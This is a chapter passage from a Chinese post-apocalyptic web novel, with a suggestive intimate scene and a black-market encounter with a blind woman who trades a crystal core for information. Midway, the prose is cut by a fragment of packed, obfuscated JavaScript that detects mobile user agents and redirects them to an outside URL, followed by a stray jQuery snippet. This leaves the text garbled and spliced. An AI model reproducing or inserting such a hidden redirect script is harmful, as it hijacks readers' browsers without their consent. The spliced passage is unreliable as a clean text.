“写的什么?”江岁抬头。 易逢走回来,反手关上门,“基地规章制度,十七条禁令。” “比如?”江岁来了些兴致。 “禁止私自斗殴,禁止偷盗物资,禁止未经批准擅自离开基地,禁止异能者在非指定区域使用异能,”他顿了顿,“禁止散布不实言论,禁止组织宗/教活动,禁止……” “行了。”江岁兴致尽无,打断他,“听着就烦。” 易逢在她身边坐下来。 床架吱呀一声,两个人都没说话。 并排坐着发了会儿呆,易逢悄悄蹭着往她身边靠了靠,指尖搭在胸口的拉链上,往下拉了点儿。 “江岁……”他小声喊了句,手臂已经与她贴在一起。 江岁懒懒抬眼看他,瞧着他垂着头,眼睛里黑幽幽一片,就知道他脑袋里又在想乱七八糟的东西。 “做什么?” 易逢温顺地低下头,将裸露出来的一段脖颈送到她面前,执拗地闷声说:“没有狗味。” 他这是让她再闻闻。 江岁被傻子逗乐了,乐得顺着他低下头,埋进他微凉的颈侧蹭了蹭,故作思考地拖着尾音,“没有吗?我怎么感觉闻到了?” 易逢大概是被冻傻了,闻言更是直接抬手搂住她的头,带着往下送了送,“真的没有。” 脸颊隔着一层薄薄的布料被压在两团绷得发紧的软肉之间,江岁由着他把自己闷在那片温热的起伏里。 有那么几秒,她觉得自己几乎要被这么闷死。 死法挺新鲜的,说出去估计都没人信。 “……你到底闻没闻。”易逢又加大了点儿力气,带着点儿不达目的不罢休的劲。 江岁被他勒得嘴都难张开,勉强扭着脖子转了几圈,刚准备说话,就感受到唇下蹭到了什么东西。 那点凹陷被她呼出的热气一激,惹得他整个人都轻轻颤了颤,反倒像是刻意往她嘴里送似的。 “闻了。”江岁被捂得发闷,索性不再挣扎,就这么靠在他胸口,懒洋洋开口,“确实没有。” 易逢这才松了松手臂,但还是虚虚揽着,像是在等她接着说些什么。 江岁的指尖轻缓划过脸侧贴着的凹陷,指腹压着往里推了推,将那点软肉挤得微微漾开。 他的手臂僵了僵,胸口的起伏骤然顿住。 “你……” “不是狗味。”江岁从他怀里抬起脸,仰头看着他,方才被他的衣服蹭的唇有些痒痒的,不自觉轻轻舔了下,才慢悠悠补了句,“是傻味。” 易逢呆愣愣看着她,眼底清晰倒映出她略带戏谑的表情。 他的手臂已经落到了他的肩上,指尖无意识攥着她后颈的布料,眼睛却蓦然亮了起来,盯着她的唇,一眨不眨。 “看什么?”江岁还想着逗他,“你说……” 话说到一半,又被按着压了回去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485836|201999||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这次没有隔着布料。 易逢不知何时用空着的手扯开了自己的衣服,拉链滑到底的声音还没来得及散干净,江岁的脸就直接贴上了那片毫无遮挡的皮肤。 “你再闻。” 还是那三个字。 江岁却品出点儿不一样的味道。 她就着这个姿势,往上看了看。 易逢的睫毛很长,密密两片微微卷着,垂眼看人的时候,会在脸上洒下来一片小小的阴影,将那双本就幽深的眸子匿在暗里,平白增添几分直白的软意。 他的下唇被咬的泛白,显然是拿不准江岁的态度,手上却还不肯松劲。 “闻到了。”江岁弯着眼睛笑了笑。 易逢松了点儿力气。 “就是有。”她故意说。 易逢的眉头极快地拧了一下,在眉上聚出两道小沟,衬在这张寡淡的脸上,格外显得委屈。 他攥着的手指一根根松开,手臂缓缓滑下去,垂在身侧。领口就这么敞开着,胸口和锁骨都晾在空气里,神游似的低着头,发尾从颈侧滑下去,挡住他的半边脸。 江岁撑着他身侧的床板直起身,居高临下看着他。 易逢往里缩了缩,两条长腿并在一起忘记收,试图把自己蜷在角落里。 “拉上。”江岁开口。 他没动。 “我说把衣服拉上。” 还是没动。 江岁最讨厌不听话的。 她抬手按住易逢的膝盖分开,倾身压着挤在他双腿中间,扣住他的后颈将人的头硬生生抬起来,在他锁骨上狠狠咬了一口。 易逢闷哼一声。 江岁这才松开,他锁骨下方的皮肤薄且敏感,瞧着那圈牙印,没个两三天是下不去的。 “我的。”她又用指腹贴着那道牙印碾了碾,平淡地宣布。 易逢低头看了看那个明晃晃的牙印,又抬眼看她,眼睛里蒙上了层熟悉的纱,雾蒙蒙看不清楚,却清晰地泛着水光。 他抓着她的手拉回自己身上,掌心覆着她的手背,带着她一寸寸抚过自己的锁骨、胸膛,最后停在心脏跳动的位置。 “这里。”他说。 规律的搏动隔着柔软的皮肉,一下下撞在她的掌心。 “也是你的。” 江岁歪着头看了他半晌,手腕扭着转了个圈,托着那块软肉捏了一把,握了满手,颇为坦然地接下了。 “你的命当然是我的。” 易逢的话又一次被堵住,眼睁睁看她意犹未尽收回手,试图想再拉回来补救,就看人摆摆手,转了身往门口走。 “出去转转。” “去哪?”易逢赶忙拉好衣服,跟着往外走。 “外围。”江岁拉了拉领口,把脖子上那道疤遮住,“看看有什么能买的。” 私人交易场在外围靠东边的一片废墟里,与内围的交易所相比,没有人在入口守着,也没有人吆喝着卖货。 这里交易的人大多是独行者,或者两三人结伴的小队伍,他们或站或蹲坐在棚子间的阴影里,面前摆着要卖的东西,不多,一两件,但都是好东西。 这群人都是游商。 完全独立在基地之外,却又时常游走在基地之间的一群人。 他们有门路搞到基地拿不到的东西,自然也有底气不把基地的规矩放在眼里。 江岁看到一个蹲在角落里的男人,面前摊着块破布,上面摆着几枚晶核,成色都不错。 她走过去,男人抬脸看了她一眼,视线在她脸上停了停,又移到易逢身上,瞳孔微微收缩。 但他什么都没说,把目光收回去,继续低头摆弄他那些晶核。 这不是个例。 江岁继续往里面走的时候,注意到至少有三个人在看到她之后,脸上都闪过类似的表情。 这就是末世的规矩。 在消息灵通的人眼里,实力都是有个高低排行的,排哪个位置的人叫什么长什么样有什么异能,打个照面就能对照上。 即便手里拿的信息不多,这群惯常爱察言观色的撇上一眼,也明白对面是不好惹的。 江岁沿着摊子慢悠悠晃着走,在一个卖药的婆婆摊子前停下来。 她零零碎碎挑了几种止血和消炎的药,又拿了几卷绷带,用几块压缩饼干和巧克力换了。 婆婆接过饼干咬了一口,又多塞给她一小瓶香水。 江岁拿在手里晃了晃,贴标的廉价香水,一看就是掺着高浓度酒精的那种,转手扔进易逢怀里。 “你们是新来的?”婆婆笑眯眯问。 江岁“嗯”了声。 “异能者啊。”婆婆往内围方向怒了努嘴,“最近查得严还往里面钻?” 江岁蹙眉:“查得严?” 婆婆笑着看她,没接话。 江岁这才顺着她刚才的视线看过去。 几道光柱正往这边扫,穿制服的人从内围方向走出来,正沿着交易场的外围慢慢溜达,脚步压得很慢,手电筒晃来晃去,像是在找什么人。 空地上的交易还在继续,只不过气氛变得微妙了几分,风声里夹杂着的低语声也倏地压下去。 直到那几个人拐过那片棚子,走远了,市场里的声音才慢慢又浮起来。 “你们是因为安息月才来的吧?”婆婆把东西妥帖收拾好放进布包里,“准备在这里避避风头?” 江岁抬眼瞧着她,换了个话头问:“你要离开这?去哪?” 婆婆也不在意她毫不客气的追问,笑呵呵应了,“这不适合我这个老家伙,我得往再北边走走。” 再北边就是联邦基地的大本营。 “不去伊甸园?”江岁问。 婆婆笑着摇头:“不爱跟疯子打交道。” 她似乎还想说什么,视线落在江岁身后,忽地收了话头。 易逢早就先一步走到江岁身侧斜斜挡着。 来人裹着件宽大的黑色斗篷,兜帽压得很低,遮住了大半张脸,只露出尖尖的下巴和干裂的嘴唇。 但能从身形看出是个女人。 江岁转过身坦然面对。 女人也慢慢抬起头看上来。 她的眼睛是闭着的。 眼窝塌陷下去、眼皮完全覆盖住眼眶的闭合那种闭着。 眼帘上横着一道疤,像是被人用刀片划过,两边眼皮被疤痕扯得向内凹陷,结结实实地黏在一起。 瞎子。 “江岁。”瞎眼女人声音沙哑,却格外笃定。 江岁的短刀已经架在了她的脖颈上。 可哪怕刀刃贴着她的皮肤,只要江岁稍微用力,就能割开她的喉咙。 女人仍旧一动不动。 “我不认识你。”江岁说。 “我也不认识你。”瞎眼女人说,“但我听说过你。” 她抬起一只手,慢慢推开斗篷的边缘,露出手腕上系着的一根红布条。 江岁眯起眼睛。 红布条。 和来时路边那些尸体的身上系的一模一样。 “你想干什么?”她问。 “谈个交易。”女人说着,伸出一只手,展开,掌心躺着一枚血红色的晶核。 不掺杂半分杂质的红,甚至比之前遇到的中阶还要大上两圈,凑近了几乎能看见半透明的晶体内部有暗红色的光在流动。 高阶晶核。 而且是完全纯净的。 刚才那个婆婆已经离开了。 周围几个摊位的人也都默不作声挪远了些。 “一枚高阶晶核,换一条消息。”女人把晶核往江岁面前递了递,“公平交易。” 江岁没有接,“什么消息?” “圈养丧尸。”瞎眼女人一字一顿,咬字古怪,语调飘飘忽忽像是从坟墓里爬出来的鬼魂在招着手,连带着把这场突如其来的交易也变得格外离奇。 风雪忽然大了,头顶的帆布棚被吹得哗啦作响,边上悬着油灯剧烈晃动着,搅得暗处的人影也跟着扭曲变形。 江岁松了压在女人脖颈间的刀刃。转头看向易逢。 易逢也在看她,眼底混沌一片,瞧不出情绪。 他手里的折叠刀不知何时已经弹开了,只是握着垂在身侧。 江岁果断收回刀刃,插回腰侧,轻描淡写说了一个字。 “换。”